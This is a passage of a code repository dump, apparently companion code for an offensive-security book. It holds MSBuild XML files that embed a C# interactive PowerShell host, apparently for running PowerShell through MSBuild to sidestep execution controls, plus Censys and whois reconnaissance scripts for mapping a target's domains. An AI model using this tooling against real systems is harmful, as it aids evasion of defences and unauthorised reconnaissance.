= foregroundColor; 951 | Console.BackgroundColor = backgroundColor; 952 | Console.Write(value); 953 | Console.ForegroundColor = oldFg; 954 | Console.BackgroundColor = oldBg; 955 | } 956 | 957 | 958 | /// 959 | /// Writes a line of characters to the output display of the host 960 | /// with foreground and background colors and appends a newline (carriage return). 961 | /// 962 | /// The forground color of the display. 963 | /// The background color of the display. 964 | /// The line to be written. 965 | public override void WriteLine( 966 | ConsoleColor foregroundColor, 967 | ConsoleColor backgroundColor, 968 | string value) 969 | { 970 | ConsoleColor oldFg = Console.ForegroundColor; 971 | ConsoleColor oldBg = Console.BackgroundColor; 972 | Console.ForegroundColor = foregroundColor; 973 | Console.BackgroundColor = backgroundColor; 974 | Console.WriteLine(value); 975 | Console.ForegroundColor = oldFg; 976 | Console.BackgroundColor = oldBg; 977 | } 978 | 979 | /// 980 | /// Writes a debug message to the output display of the host. 981 | /// 982 | /// The debug message that is displayed. 983 | public override void WriteDebugLine(string message) 984 | { 985 | this.WriteLine( 986 | ConsoleColor.DarkYellow, 987 | ConsoleColor.Black, 988 | String.Format(CultureInfo.CurrentCulture, "DEBUG: {0}", message)); 989 | } 990 | 991 | 992 | /// 993 | /// Writes an error message to the output display of the host. 994 | /// 995 | /// The error message that is displayed. 996 | public override void WriteErrorLine(string value) 997 | { 998 | this.WriteLine( 999 | ConsoleColor.Red, 1000 | ConsoleColor.Black, 1001 | value); 1002 | } 1003 | 1004 | /// 1005 | /// Writes a newline character (carriage return) 1006 | /// to the output display of the host. 1007 | /// 1008 | public override void WriteLine() 1009 | { 1010 | Console.WriteLine(); 1011 | } 1012 | 1013 | /// 1014 | /// Writes a line of characters to the output display of the host 1015 | /// and appends a newline character(carriage return). 1016 | /// 1017 | /// The line to be written. 1018 | public override void WriteLine(string value) 1019 | { 1020 | Console.WriteLine(value); 1021 | } 1022 | 1023 | /// 1024 | /// Writes a progress report to the output display of the host. 1025 | /// 1026 | /// Unique identifier of the source of the record. 1027 | /// A ProgressReport object. 1028 | public override void WriteProgress(long sourceId, ProgressRecord record) 1029 | { 1030 | 1031 | } 1032 | 1033 | /// 1034 | /// Writes a verbose message to the output display of the host. 1035 | /// 1036 | /// The verbose message that is displayed. 1037 | public override void WriteVerboseLine(string message) 1038 | { 1039 | this.WriteLine( 1040 | ConsoleColor.Green, 1041 | ConsoleColor.Black, 1042 | String.Format(CultureInfo.CurrentCulture, "VERBOSE: {0}", message)); 1043 | } 1044 | 1045 | /// 1046 | /// Writes a warning message to the output display of the host. 1047 | /// 1048 | /// The warning message that is displayed. 1049 | public override void WriteWarningLine(string message) 1050 | { 1051 | this.WriteLine( 1052 | ConsoleColor.Yellow, 1053 | ConsoleColor.Black, 1054 | String.Format(CultureInfo.CurrentCulture, "WARNING: {0}", message)); 1055 | } 1056 | 1057 | 1058 | /// 1059 | /// Parse a string containing a hotkey character. 1060 | /// Take a string of the form 1061 | /// Yes to &all 1062 | /// and returns a two-dimensional array split out as 1063 | /// "A", "Yes to all". 1064 | /// 1065 | /// The string to process 1066 | /// 1067 | /// A two dimensional array containing the parsed components. 1068 | /// 1069 | private static string[] GetHotkeyAndLabel(string input) 1070 | { 1071 | string[] result = new string[] { String.Empty, String.Empty }; 1072 | string[] fragments = input.Split('&'); 1073 | if (fragments.Length == 2) 1074 | { 1075 | if (fragments[1].Length > 0) 1076 | { 1077 | result[0] = fragments[1][0].ToString(). 1078 | ToUpper(CultureInfo.CurrentCulture); 1079 | } 1080 | 1081 | result[1] = (fragments[0] + fragments[1]).Trim(); 1082 | } 1083 | else 1084 | { 1085 | result[1] = input; 1086 | } 1087 | 1088 | return result; 1089 | } 1090 | 1091 | /// 1092 | /// This is a private worker function splits out the 1093 | /// accelerator keys from the menu and builds a two 1094 | /// dimentional array with the first access containing the 1095 | /// accelerator and the second containing the label string 1096 | /// with the & removed. 1097 | /// 1098 | /// The choice collection to process 1099 | /// 1100 | /// A two dimensional array containing the accelerator characters 1101 | /// and the cleaned-up labels 1102 | private static string[,] BuildHotkeysAndPlainLabels( 1103 | Collection choices) 1104 | { 1105 | // Allocate the result array 1106 | string[,] hotkeysAndPlainLabels = new string[2, choices.Count]; 1107 | 1108 | for (int i = 0; i < choices.Count; ++i) 1109 | { 1110 | string[] hotkeyAndLabel = GetHotkeyAndLabel(choices[i].Label); 1111 | hotkeysAndPlainLabels[0, i] = hotkeyAndLabel[0]; 1112 | hotkeysAndPlainLabels[1, i] = hotkeyAndLabel[1]; 1113 | } 1114 | 1115 | return hotkeysAndPlainLabels; 1116 | } 1117 | } 1118 | internal class MyRawUserInterface : PSHostRawUserInterface 1119 | { 1120 | /// 1121 | /// Gets or sets the background color of text to be written. 1122 | /// This maps to the corresponding Console.Background property. 1123 | /// 1124 | public override ConsoleColor BackgroundColor 1125 | { 1126 | get { return Console.BackgroundColor; } 1127 | set { Console.BackgroundColor = value; } 1128 | } 1129 | 1130 | /// 1131 | /// Gets or sets the host buffer size adapted from the Console buffer 1132 | /// size members. 1133 | /// 1134 | public override Size BufferSize 1135 | { 1136 | get { return new Size(Console.BufferWidth, Console.BufferHeight); } 1137 | set { Console.SetBufferSize(value.Width, value.Height); } 1138 | } 1139 | 1140 | /// 1141 | /// Gets or sets the cursor position. In this example this 1142 | /// functionality is not needed so the property throws a 1143 | /// NotImplementException exception. 1144 | /// 1145 | public override Coordinates CursorPosition 1146 | { 1147 | get { throw new NotImplementedException( "The method or operation is not implemented."); } 1148 | set { throw new NotImplementedException( "The method or operation is not implemented."); } 1149 | } 1150 | 1151 | /// 1152 | /// Gets or sets the cursor size taken directly from the 1153 | /// Console.CursorSize property. 1154 | /// 1155 | public override int CursorSize 1156 | { 1157 | get { return Console.CursorSize; } 1158 | set { Console.CursorSize = value; } 1159 | } 1160 | 1161 | /// 1162 | /// Gets or sets the foreground color of the text to be written. 1163 | /// This maps to the corresponding Console.ForgroundColor property. 1164 | /// 1165 | public override ConsoleColor ForegroundColor 1166 | { 1167 | get { return Console.ForegroundColor; } 1168 | set { Console.ForegroundColor = value; } 1169 | } 1170 | 1171 | /// 1172 | /// Gets a value indicating whether a key is available. This maps to 1173 | /// the corresponding Console.KeyAvailable property. 1174 | /// 1175 | public override bool KeyAvailable 1176 | { 1177 | get { return Console.KeyAvailable; } 1178 | } 1179 | 1180 | /// 1181 | /// Gets the maximum physical size of the window adapted from the 1182 | /// Console.LargestWindowWidth and Console.LargestWindowHeight 1183 | /// properties. 1184 | /// 1185 | public override Size MaxPhysicalWindowSize 1186 | { 1187 | get { return new Size(Console.LargestWindowWidth, Console.LargestWindowHeight); } 1188 | } 1189 | 1190 | /// 1191 | /// Gets the maximum window size adapted from the 1192 | /// Console.LargestWindowWidth and console.LargestWindowHeight 1193 | /// properties. 1194 | /// 1195 | public override Size MaxWindowSize 1196 | { 1197 | get { return new Size(Console.LargestWindowWidth, Console.LargestWindowHeight); } 1198 | } 1199 | 1200 | /// 1201 | /// Gets or sets the window position adapted from the Console window position 1202 | /// members. 1203 | /// 1204 | public override Coordinates WindowPosition 1205 | { 1206 | get { return new Coordinates(Console.WindowLeft, Console.WindowTop); } 1207 | set { Console.SetWindowPosition(value.X, value.Y); } 1208 | } 1209 | 1210 | /// 1211 | /// Gets or sets the window size adapted from the corresponding Console 1212 | /// calls. 1213 | /// 1214 | public override Size WindowSize 1215 | { 1216 | get { return new Size(Console.WindowWidth, Console.WindowHeight); } 1217 | set { Console.SetWindowSize(value.Width, value.Height); } 1218 | } 1219 | 1220 | /// 1221 | /// Gets or sets the title of the window mapped to the Console.Title 1222 | /// property. 1223 | /// 1224 | public override string WindowTitle 1225 | { 1226 | get { return Console.Title; } 1227 | set { Console.Title = value; } 1228 | } 1229 | 1230 | /// 1231 | /// This API resets the input buffer. In this example this 1232 | /// functionality is not needed so the method returns nothing. 1233 | /// 1234 | public override void FlushInputBuffer() 1235 | { 1236 | } 1237 | 1238 | /// 1239 | /// This API returns a rectangular region of the screen buffer. In 1240 | /// this example this functionality is not needed so the method throws 1241 | /// a NotImplementException exception. 1242 | /// 1243 | /// Defines the size of the rectangle. 1244 | /// Throws a NotImplementedException exception. 1245 | public override BufferCell[,] GetBufferContents(Rectangle rectangle) 1246 | { 1247 | throw new NotImplementedException( 1248 | "The method or operation is not implemented."); 1249 | } 1250 | 1251 | /// 1252 | /// This API Reads a pressed, released, or pressed and released keystroke 1253 | /// from the keyboard device, blocking processing until a keystroke is 1254 | /// typed that matches the specified keystroke options. In this example 1255 | /// this functionality is not needed so the method throws a 1256 | /// NotImplementException exception. 1257 | /// 1258 | /// Options, such as IncludeKeyDown, used when 1259 | /// reading the keyboard. 1260 | /// Throws a NotImplementedException exception. 1261 | public override KeyInfo ReadKey(ReadKeyOptions options) 1262 | { 1263 | throw new NotImplementedException( 1264 | "The method or operation is not implemented."); 1265 | } 1266 | 1267 | /// 1268 | /// This API crops a region of the screen buffer. In this example 1269 | /// this functionality is not needed so the method throws a 1270 | /// NotImplementException exception. 1271 | /// 1272 | /// The region of the screen to be scrolled. 1273 | /// The region of the screen to receive the 1274 | /// source region contents. 1275 | /// The region of the screen to include in the operation. 1276 | /// The character and attributes to be used to fill all cell. 1277 | public override void ScrollBufferContents(Rectangle source, Coordinates destination, Rectangle clip, BufferCell fill) 1278 | { 1279 | throw new NotImplementedException( 1280 | "The method or operation is not implemented."); 1281 | } 1282 | 1283 | /// 1284 | /// This API copies an array of buffer cells into the screen buffer 1285 | /// at a specified location. In this example this functionality is 1286 | /// not needed si the method throws a NotImplementedException exception. 1287 | /// 1288 | /// The parameter is not used. 1289 | /// The parameter is not used. 1290 | public override void SetBufferContents(Coordinates origin, BufferCell[,] contents) 1291 | { 1292 | throw new NotImplementedException( 1293 | "The method or operation is not implemented."); 1294 | } 1295 | 1296 | /// 1297 | /// This API Copies a given character, foreground color, and background 1298 | /// color to a region of the screen buffer. In this example this 1299 | /// functionality is not needed so the method throws a 1300 | /// NotImplementException exception./// 1301 | /// Defines the area to be filled. 1302 | /// Defines the fill character. 1303 | public override void SetBufferContents(Rectangle rectangle, BufferCell fill) 1304 | { 1305 | throw new NotImplementedException( 1306 | "The method or operation is not implemented."); 1307 | } 1308 | } 1309 | ]]> 1310 | 1311 | 1312 | 1313 | 1314 | -------------------------------------------------------------------------------- /msbuild/psh.xml: -------------------------------------------------------------------------------- 1 | 2 | 9 | 10 | 11 | 12 | 13 | 17 | 18 | 19 | 20 | 21 | ()) 50 | Console.WriteLine(str); 51 | 52 | Console.WriteLine("Press any key to exit..."); 53 | Console.ReadKey(); 54 | 55 | // End of the Execute method 56 | return true; 57 | } 58 | } 59 | ]]> 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /old/chap1/censys_search.py: -------------------------------------------------------------------------------- 1 | import sys, json, requests, logging, os 2 | import censys.certificates 3 | 4 | API_URL = "https://censys.io/api/v1" 5 | 6 | logging.basicConfig(level=logging.INFO) 7 | logger = logging.getLogger(__name__) 8 | 9 | 10 | def close_to_domain(candidate, target_domain, domain_array): 11 | if any(x in candidate for x in domain_array): 12 | return True 13 | return False 14 | 15 | 16 | def show_censys_data(domain, uid, secret): 17 | logger.info("Looking up {} on censys".format(domain)) 18 | domains = set() 19 | domain_array = domain.split(".") 20 | domain_array.pop() 21 | 22 | certificates = censys.certificates.CensysCertificates(uid, secret) 23 | fields = ["parsed.names"] 24 | 25 | for c in certificates.search("parsed.names: %s" % domain, fields=fields): 26 | for d in c["parsed.names"]: 27 | if close_to_domain(d, domain, domain_array): 28 | domains.add(d) 29 | 30 | logger.info("Found {} unique domains".format(len(domains))) 31 | for d in domains: 32 | print(d) 33 | 34 | 35 | def check_api_keys(): 36 | if os.environ.get("CENSYS_ID") is None or os.environ.get("CENSYS_SECRET") is None: 37 | logger.warning("Missing CENSYS_ID or CENSYS_SECRET env var") 38 | sys.exit(-1) 39 | 40 | 41 | if __name__ == "__main__": 42 | if len(sys.argv) < 2: 43 | print("usage {} ".format(sys.argv[0])) 44 | sys.exit(-1) 45 | check_api_keys() 46 | uid = os.environ.get("CENSYS_ID") 47 | secret = os.environ.get("CENSYS_SECRET") 48 | 49 | show_censys_data(sys.argv[1], uid, secret) 50 | 51 | -------------------------------------------------------------------------------- /old/chap1/query_whois.py: -------------------------------------------------------------------------------- 1 | import socket, sys, re, logging 2 | from subprocess import Popen, PIPE 3 | 4 | logging.basicConfig(level=logging.INFO) 5 | logger = logging.getLogger(__name__) 6 | 7 | 8 | def usage(): 9 | if len(sys.argv) < 2: 10 | print("usage query_whois.py ") 11 | print("\t contains a domain per line") 12 | sys.exit(-1) 13 | 14 | def catch_word(pattern, output): 15 | match = re.search('%s(.+)' % pattern, output) 16 | return match.group(1) 17 | 18 | def get_ip_from_domain(domain_name): 19 | try: 20 | return socket.gethostbyname(domain_name) 21 | except Exception as e: 22 | logger.warn("Could not resolve %s - %s" % (domain_name, e)) 23 | return None 24 | 25 | def parse_whoise(ip_address): 26 | netname, inetnum, country = "N/A", "N/A", "N/A" 27 | p = Popen(['whois', ip_address], stdin=PIPE, stdout=PIPE, stderr=PIPE) 28 | output, err = p.communicate() 29 | 30 | rc = p.returncode 31 | output = output.lower().decode() 32 | if rc == 0: 33 | netname = catch_word("netname:", output).strip() 34 | country = catch_word("country:", output).strip() 35 | if "netrange" in output: 36 | inetnum = catch_word("netrange:", output).strip() 37 | elif "inetnum" in output: 38 | inetnum = catch_word("inetnum:", output).strip() 39 | return netname, inetnum, country 40 | 41 | def run(): 42 | print("domain,netname,ip range,country") 43 | with open(sys.argv[1], "r") as ins: 44 | for line in ins: 45 | domain_name = line.strip() 46 | ip_address = get_ip_from_domain(domain_name) 47 | if ip_address is None: 48 | print("{},,,".format(domain_name)) 49 | continue 50 | netname, inetnum, country = parse_whoise(ip_address) 51 | print("{},{},{},{}".format(domain_name, netname, inetnum, country)) 52 | 53 | 54 | if __name__ == "__main__": 55 | usage() 56 | run() -------------------------------------------------------------------------------- /old/chap1/requirements.txt: -------------------------------------------------------------------------------- 1 | censys 2 | logging 3 | difflib -------------------------------------------------------------------------------- /old/chap2/console.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 16 | 17 | 18 | 19 | 20 | 64 | /// This sample shows how to implement a basic read-evaluate-print 65 | /// loop (or 'listener') that allowing you to interactively work 66 | /// with the Windows PowerShell engine. 67 | /// 68 | internal class PSListenerConsoleSample 69 | { 70 | /// 71 | /// Used to read user input. 72 | /// 73 | // internal ConsoleReadLine consoleReadLine = new ConsoleReadLine(); 74 | 75 | /// 76 | /// Holds a reference to the runspace for this interpeter. 77 | /// 78 | internal Runspace myRunSpace; 79 | 80 | /// 81 | /// Indicator to tell the host application that it should exit. 82 | /// 83 | private bool shouldExit; 84 | 85 | /// 86 | /// The exit code that the host application will use to exit. 87 | /// 88 | private int exitCode; 89 | 90 | /// 91 | /// Holds a reference to the PSHost implementation for this interpreter. 92 | /// 93 | private MyHost myHost; 94 | 95 | /// 96 | /// Holds a reference to the currently executing pipeline so that it can be 97 | /// stopped by the control-C handler. 98 | /// 99 | private PowerShell currentPowerShell; 100 | 101 | /// 102 | /// Used to serialize access to instance data. 103 | /// 104 | private object instanceLock = new object(); 105 | 106 | /// 107 | /// Gets or sets a value indicating whether the host application 108 | /// should exit. 109 | /// 110 | public bool ShouldExit 111 | { 112 | get { return this.shouldExit; } 113 | set { this.shouldExit = value; } 114 | } 115 | 116 | /// 117 | /// Gets or sets a value indicating whether the host application 118 | /// should exit. 119 | /// 120 | public int ExitCode 121 | { 122 | get { return this.exitCode; } 123 | set { this.exitCode = value; } 124 | } 125 | 126 | /// 127 | /// Creates and initiates the listener instance. 128 | /// 129 | /// This parameter is not used. 130 | private static void Main(string[] args) 131 | { 132 | 133 | } 134 | 135 | /// 136 | /// Initializes a new instance of the PSListenerConsoleSample class. 137 | /// 138 | public PSListenerConsoleSample() 139 | { 140 | // Create the host and runspace instances for this interpreter. 141 | // Note that this application does not support console files so 142 | // only the default snap-ins will be available. 143 | this.myHost = new MyHost(this); 144 | this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost); 145 | this.myRunSpace.Open(); 146 | 147 | // Create a PowerShell object to run the commands used to create 148 | // $profile and load the profiles. 149 | lock (this.instanceLock) 150 | { 151 | this.currentPowerShell = PowerShell.Create(); 152 | } 153 | 154 | try 155 | { 156 | this.currentPowerShell.Runspace = this.myRunSpace; 157 | 158 | //PSCommand[] profileCommands = Microsoft.Samples.PowerShell.Host.HostUtilities.GetProfileCommands("SampleHost06"); 159 | //foreach (PSCommand command in profileCommands) 160 | //{ 161 | // this.currentPowerShell.Commands = command; 162 | //this.currentPowerShell.Invoke(); 163 | //} 164 | } 165 | finally 166 | { 167 | // Dispose the PowerShell object and set currentPowerShell 168 | // to null. It is locked because currentPowerShell may be 169 | // accessed by the ctrl-C handler. 170 | lock (this.instanceLock) 171 | { 172 | this.currentPowerShell.Dispose(); 173 | this.currentPowerShell = null; 174 | } 175 | } 176 | } 177 | 178 | /// 179 | /// A helper class that builds and executes a pipeline that writes 180 | /// to the default output path. Any exceptions that are thrown are 181 | /// just passed to the caller. Since all output goes to the default 182 | /// outter, this method does not return anything. 183 | /// 184 | /// The script to run. 185 | /// Any input arguments to pass to the script. 186 | /// If null then nothing is passed in. 187 | private void executeHelper(string cmd, object input) 188 | { 189 | // Ignore empty command lines. 190 | if (String.IsNullOrEmpty(cmd)) 191 | { 192 | return; 193 | } 194 | 195 | // Create the pipeline object and make it available to the 196 | // ctrl-C handle through the currentPowerShell instance 197 | // variable. 198 | lock (this.instanceLock) 199 | { 200 | this.currentPowerShell = PowerShell.Create(); 201 | } 202 | 203 | // Add a script and command to the pipeline and then run the pipeline. Place 204 | // the results in the currentPowerShell variable so that the pipeline can be 205 | // stopped. 206 | try 207 | { 208 | this.currentPowerShell.Runspace = this.myRunSpace; 209 | 210 | this.currentPowerShell.AddScript(cmd); 211 | 212 | // Add the default outputter to the end of the pipe and then call the 213 | // MergeMyResults method to merge the output and error streams from the 214 | // pipeline. This will result in the output being written using the PSHost 215 | // and PSHostUserInterface classes instead of returning objects to the host 216 | // application. 217 | this.currentPowerShell.AddCommand("out-default"); 218 | this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); 219 | 220 | // If there is any input pass it in, otherwise just invoke the 221 | // the pipeline. 222 | if (input != null) 223 | { 224 | this.currentPowerShell.Invoke(new object[] { input }); 225 | } 226 | else 227 | { 228 | this.currentPowerShell.Invoke(); 229 | } 230 | } 231 | finally 232 | { 233 | // Dispose the PowerShell object and set currentPowerShell to null. 234 | // It is locked because currentPowerShell may be accessed by the 235 | // ctrl-C handler. 236 | lock (this.instanceLock) 237 | { 238 | this.currentPowerShell.Dispose(); 239 | this.currentPowerShell = null; 240 | } 241 | } 242 | } 243 | 244 | /// 245 | /// To display an exception using the display formatter, 246 | /// run a second pipeline passing in the error record. 247 | /// The runtime will bind this to the $input variable, 248 | /// which is why $input is being piped to the Out-String 249 | /// cmdlet. The WriteErrorLine method is called to make sure 250 | /// the error gets displayed in the correct error color. 251 | /// 252 | /// The exception to display. 253 | private void ReportException(Exception e) 254 | { 255 | if (e != null) 256 | { 257 | object error; 258 | IContainsErrorRecord icer = e as IContainsErrorRecord; 259 | if (icer != null) 260 | { 261 | error = icer.ErrorRecord; 262 | } 263 | else 264 | { 265 | error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null); 266 | } 267 | 268 | lock (this.instanceLock) 269 | { 270 | this.currentPowerShell = PowerShell.Create(); 271 | } 272 | 273 | this.currentPowerShell.Runspace = this.myRunSpace; 274 | 275 | try 276 | { 277 | this.currentPowerShell.AddScript("$input").AddCommand("out-string"); 278 | 279 | // Do not merge errors, this function will swallow errors. 280 | Collection result; 281 | PSDataCollection inputCollection = new PSDataCollection(); 282 | inputCollection.Add(error); 283 | inputCollection.Complete(); 284 | result = this.currentPowerShell.Invoke(inputCollection); 285 | 286 | if (result.Count > 0) 287 | { 288 | string str = result[0].BaseObject as string; 289 | if (!string.IsNullOrEmpty(str)) 290 | { 291 | // Remove \r\n, which is added by the Out-String cmdlet. 292 | this.myHost.UI.WriteErrorLine(str.Substring(0, str.Length - 2)); 293 | } 294 | } 295 | } 296 | finally 297 | { 298 | // Dispose of the pipeline and set it to null, locking it because 299 | // currentPowerShell may be accessed by the ctrl-C handler. 300 | lock (this.instanceLock) 301 | { 302 | this.currentPowerShell.Dispose(); 303 | this.currentPowerShell = null; 304 | } 305 | } 306 | } 307 | } 308 | 309 | /// 310 | /// Basic script execution routine. Any runtime exceptions are 311 | /// caught and passed back to the Windows PowerShell engine to 312 | /// display. 313 | /// 314 | /// Script to run. 315 | private void Execute(string cmd) 316 | { 317 | try 318 | { 319 | // Run the command with no input. 320 | this.executeHelper(cmd, null); 321 | } 322 | catch (RuntimeException rte) 323 | { 324 | this.ReportException(rte); 325 | } 326 | } 327 | 328 | /// 329 | /// Method used to handle control-C's from the user. It calls the 330 | /// pipeline Stop() method to stop execution. If any exceptions occur 331 | /// they are printed to the console but otherwise ignored. 332 | /// 333 | /// See sender property documentation of 334 | /// ConsoleCancelEventHandler. 335 | /// See e property documentation of 336 | /// ConsoleCancelEventHandler. 337 | private void HandleControlC(object sender, ConsoleCancelEventArgs e) 338 | { 339 | try 340 | { 341 | lock (this.instanceLock) 342 | { 343 | if (this.currentPowerShell != null && this.currentPowerShell.InvocationStateInfo.State == PSInvocationState.Running) 344 | { 345 | this.currentPowerShell.Stop(); 346 | } 347 | } 348 | 349 | e.Cancel = true; 350 | } 351 | catch (Exception exception) 352 | { 353 | this.myHost.UI.WriteErrorLine(exception.ToString()); 354 | } 355 | } 356 | 357 | /// 358 | /// Implements the basic listener loop. It sets up the ctrl-C handler, then 359 | /// reads a command from the user, executes it and repeats until the ShouldExit 360 | /// flag is set. 361 | /// 362 | public void Run() 363 | { 364 | int bufSize = 8192; 365 | Stream inStream = Console.OpenStandardInput(bufSize); 366 | Console.SetIn(new StreamReader(inStream, Console.InputEncoding, false, bufSize)); 367 | 368 | // Set up the control-C handler. 369 | Console.CancelKeyPress += new ConsoleCancelEventHandler(this.HandleControlC); 370 | Console.TreatControlCAsInput = false; 371 | 372 | // Read commands and run them until the ShouldExit flag is set by 373 | // the user calling "exit". 374 | while (!this.ShouldExit) 375 | { 376 | string prompt; 377 | if (this.myHost.IsRunspacePushed) 378 | { 379 | prompt = string.Format("\n[{0}] PS: ", this.myRunSpace.SessionStateProxy.Path.CurrentFileSystemLocation.Path); 380 | } 381 | else 382 | { 383 | prompt = string.Format("\nPS: {0}> ", this.myRunSpace.SessionStateProxy.Path.CurrentFileSystemLocation.Path); 384 | } 385 | 386 | this.myHost.UI.Write(ConsoleColor.Cyan, ConsoleColor.Black, prompt); 387 | 388 | Console.CancelKeyPress += new ConsoleCancelEventHandler(this.myHandler); 389 | 390 | //string cmd = this.consoleReadLine.Read(); 391 | 392 | string cmd = Console.ReadLine(); 393 | 394 | if (cmd == "cls") 395 | { 396 | Console.Clear(); 397 | } else { 398 | this.Execute(cmd); 399 | } 400 | } 401 | // 402 | // Exit with the desired exit code that was set by the exit command. 403 | // The exit code is set in the host by the MyHost.SetShouldExit() method. 404 | Environment.Exit(this.ExitCode); 405 | } 406 | public void myHandler(object sender, ConsoleCancelEventArgs args) 407 | { 408 | this.myHost.SetShouldExit(1); 409 | Environment.Exit(this.ExitCode); 410 | 411 | //this.myHost.UI.WriteLine(ConsoleColor.Red, ConsoleColor.Black, "Enter exit instead..."); 412 | 413 | } 414 | 415 | } 416 | 417 | internal class MyHost : PSHost, IHostSupportsInteractiveSession 418 | { 419 | public MyHost(PSListenerConsoleSample program) 420 | { 421 | this.program = program; 422 | } 423 | 424 | /// 425 | /// A reference to the PSHost implementation. 426 | /// 427 | private PSListenerConsoleSample program; 428 | 429 | /// 430 | /// The culture information of the thread that created 431 | /// this object. 432 | /// 433 | private CultureInfo originalCultureInfo = 434 | System.Threading.Thread.CurrentThread.CurrentCulture; 435 | 436 | /// 437 | /// The UI culture information of the thread that created 438 | /// this object. 439 | /// 440 | private CultureInfo originalUICultureInfo = 441 | System.Threading.Thread.CurrentThread.CurrentUICulture; 442 | 443 | /// 444 | /// The identifier of this PSHost implementation. 445 | /// 446 | private static Guid instanceId = Guid.NewGuid(); 447 | 448 | /// 449 | /// A reference to the implementation of the PSHostUserInterface 450 | /// class for this application. 451 | /// 452 | private MyHostUserInterface myHostUserInterface = new MyHostUserInterface(); 453 | 454 | /// 455 | /// A reference to the runspace used to start an interactive session. 456 | /// 457 | public Runspace pushedRunspace = null; 458 | 459 | 460 | /// 461 | /// Gets the culture information to use. This implementation 462 | /// returns a snapshot of the culture information of the thread 463 | /// that created this object. 464 | /// 465 | public override CultureInfo CurrentCulture 466 | { 467 | get { return this.originalCultureInfo; } 468 | } 469 | 470 | /// 471 | /// Gets the UI culture information to use. This implementation 472 | /// returns a snapshot of the UI culture information of the thread 473 | /// that created this object. 474 | /// 475 | public override CultureInfo CurrentUICulture 476 | { 477 | get { return this.originalUICultureInfo; } 478 | } 479 | 480 | /// 481 | /// Gets an identifier for this host. This implementation always 482 | /// returns the GUID allocated at instantiation time. 483 | /// 484 | public override Guid InstanceId 485 | { 486 | get { return instanceId; } 487 | } 488 | 489 | /// 490 | /// Gets a string that contains the name of this host implementation. 491 | /// Keep in mind that this string may be used by script writers to 492 | /// identify when your host is being used. 493 | /// 494 | public override string Name 495 | { 496 | get { return "MySampleConsoleHostImplementation"; } 497 | } 498 | 499 | /// 500 | /// Gets an instance of the implementation of the PSHostUserInterface 501 | /// class for this application. This instance is allocated once at startup time 502 | /// and returned every time thereafter. 503 | /// 504 | public override PSHostUserInterface UI 505 | { 506 | get { return this.myHostUserInterface; } 507 | } 508 | 509 | /// 510 | /// Gets the version object for this application. Typically this 511 | /// should match the version resource in the application. 512 | /// 513 | public override Version Version 514 | { 515 | get { return new Version(1, 0, 0, 0); } 516 | } 517 | 518 | #region IHostSupportsInteractiveSession Properties 519 | 520 | /// 521 | /// Gets a value indicating whether a request 522 | /// to open a PSSession has been made. 523 | /// 524 | public bool IsRunspacePushed 525 | { 526 | get { return this.pushedRunspace != null; } 527 | } 528 | 529 | /// 530 | /// Gets or sets the runspace used by the PSSession. 531 | /// 532 | public Runspace Runspace 533 | { 534 | get { return this.program.myRunSpace; } 535 | internal set { this.program.myRunSpace = value; } 536 | } 537 | #endregion IHostSupportsInteractiveSession Properties 538 | 539 | /// 540 | /// This API Instructs the host to interrupt the currently running 541 | /// pipeline and start a new nested input loop. In this example this 542 | /// functionality is not needed so the method throws a 543 | /// NotImplementedException exception. 544 | /// 545 | public override void EnterNestedPrompt() 546 | { 547 | throw new NotImplementedException( 548 | "The method or operation is not implemented."); 549 | } 550 | 551 | /// 552 | /// This API instructs the host to exit the currently running input loop. 553 | /// In this example this functionality is not needed so the method 554 | /// throws a NotImplementedException exception. 555 | /// 556 | public override void ExitNestedPrompt() 557 | { 558 | throw new NotImplementedException( 559 | "The method or operation is not implemented."); 560 | } 561 | 562 | /// 563 | /// This API is called before an external application process is 564 | /// started. Typically it is used to save state so that the parent 565 | /// can restore state that has been modified by a child process (after 566 | /// the child exits). In this example this functionality is not 567 | /// needed so the method returns nothing. 568 | /// 569 | public override void NotifyBeginApplication() 570 | { 571 | return; 572 | } 573 | 574 | /// 575 | /// This API is called after an external application process finishes. 576 | /// Typically it is used to restore state that a child process has 577 | /// altered. In this example, this functionality is not needed so 578 | /// the method returns nothing. 579 | /// 580 | public override void NotifyEndApplication() 581 | { 582 | return; 583 | } 584 | 585 | /// 586 | /// Indicate to the host application that exit has 587 | /// been requested. Pass the exit code that the host 588 | /// application should use when exiting the process. 589 | /// 590 | /// The exit code that the 591 | /// host application should use. 592 | public override void SetShouldExit(int exitCode) 593 | { 594 | this.program.ShouldExit = true; 595 | this.program.ExitCode = exitCode; 596 | } 597 | 598 | #region IHostSupportsInteractiveSession Methods 599 | 600 | /// 601 | /// Requests to close a PSSession. 602 | /// 603 | public void PopRunspace() 604 | { 605 | Runspace = this.pushedRunspace; 606 | this.pushedRunspace = null; 607 | } 608 | 609 | /// 610 | /// Requests to open a PSSession. 611 | /// 612 | /// Runspace to use. 613 | public void PushRunspace(Runspace runspace) 614 | { 615 | this.pushedRunspace = Runspace; 616 | Runspace = runspace; 617 | } 618 | 619 | #endregion IHostSupportsInteractiveSession Methods 620 | } 621 | 622 | internal class MyHostUserInterface : PSHostUserInterface, IHostUISupportsMultipleChoiceSelection 623 | { 624 | /// 625 | /// A reference to the PSRawUserInterface implementation. 626 | /// 627 | private MyRawUserInterface myRawUi = new MyRawUserInterface(); 628 | 629 | /// 630 | /// Gets an instance of the PSRawUserInterface class for this host 631 | /// application. 632 | /// 633 | public override PSHostRawUserInterface RawUI 634 | { 635 | get { return this.myRawUi; } 636 | } 637 | 638 | /// 639 | /// Prompts the user for input. 640 | /// The caption or title of the prompt. 641 | /// The text of the prompt. 642 | /// A collection of FieldDescription objects 643 | /// that describe each field of the prompt. 644 | /// A dictionary object that contains the results of the user 645 | /// prompts. 646 | public override Dictionary Prompt( 647 | string caption, 648 | string message, 649 | Collection descriptions) 650 | { 651 | this.Write( 652 | ConsoleColor.DarkCyan, 653 | ConsoleColor.Black, 654 | caption + "\n" + message + " "); 655 | Dictionary results = 656 | new Dictionary(); 657 | foreach (FieldDescription fd in descriptions) 658 | { 659 | string[] label = GetHotkeyAndLabel(fd.Label); 660 | this.WriteLine(label[1]); 661 | string userData = Console.ReadLine(); 662 | if (userData == null) 663 | { 664 | return null; 665 | } 666 | 667 | results[fd.Name] = 